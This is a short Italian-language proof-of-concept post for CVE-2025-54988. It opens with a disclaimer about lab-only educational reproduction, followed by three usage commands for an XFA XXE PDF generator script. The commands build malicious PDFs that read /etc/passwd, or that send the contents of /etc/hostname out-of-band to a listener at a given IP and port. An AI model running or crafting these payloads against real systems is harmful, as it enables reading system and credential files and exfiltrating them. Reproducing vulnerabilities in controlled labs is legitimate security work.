CVE-2025-54988 - POC

Dichiarazione di non responsabilità: non sono lo scopritore originale di questa vulnerabilità. Questo post documenta il mio processo di riproduzione del problema in un ambiente controllato per scopi educativi e per aiutare altri a validare i propri sistemi. I test sono stati condotti in un laboratorio isolato senza alcun impatto sui sistemi di produzione.

Uso:

python3 xfa_xxe_poc_gen.py --mode file --file /etc/passwd -o xfa_passwd.pdf
python3 xfa_xxe_poc_gen.py --mode oob --ip 127.0.0.1 --port 8888 --write-dtd -o xfa_oob.pdf
python3 xfa_xxe_poc_gen.py --mode oob --ip 10.10.14.3 --port 8080 --oob-file /etc/hostname --param d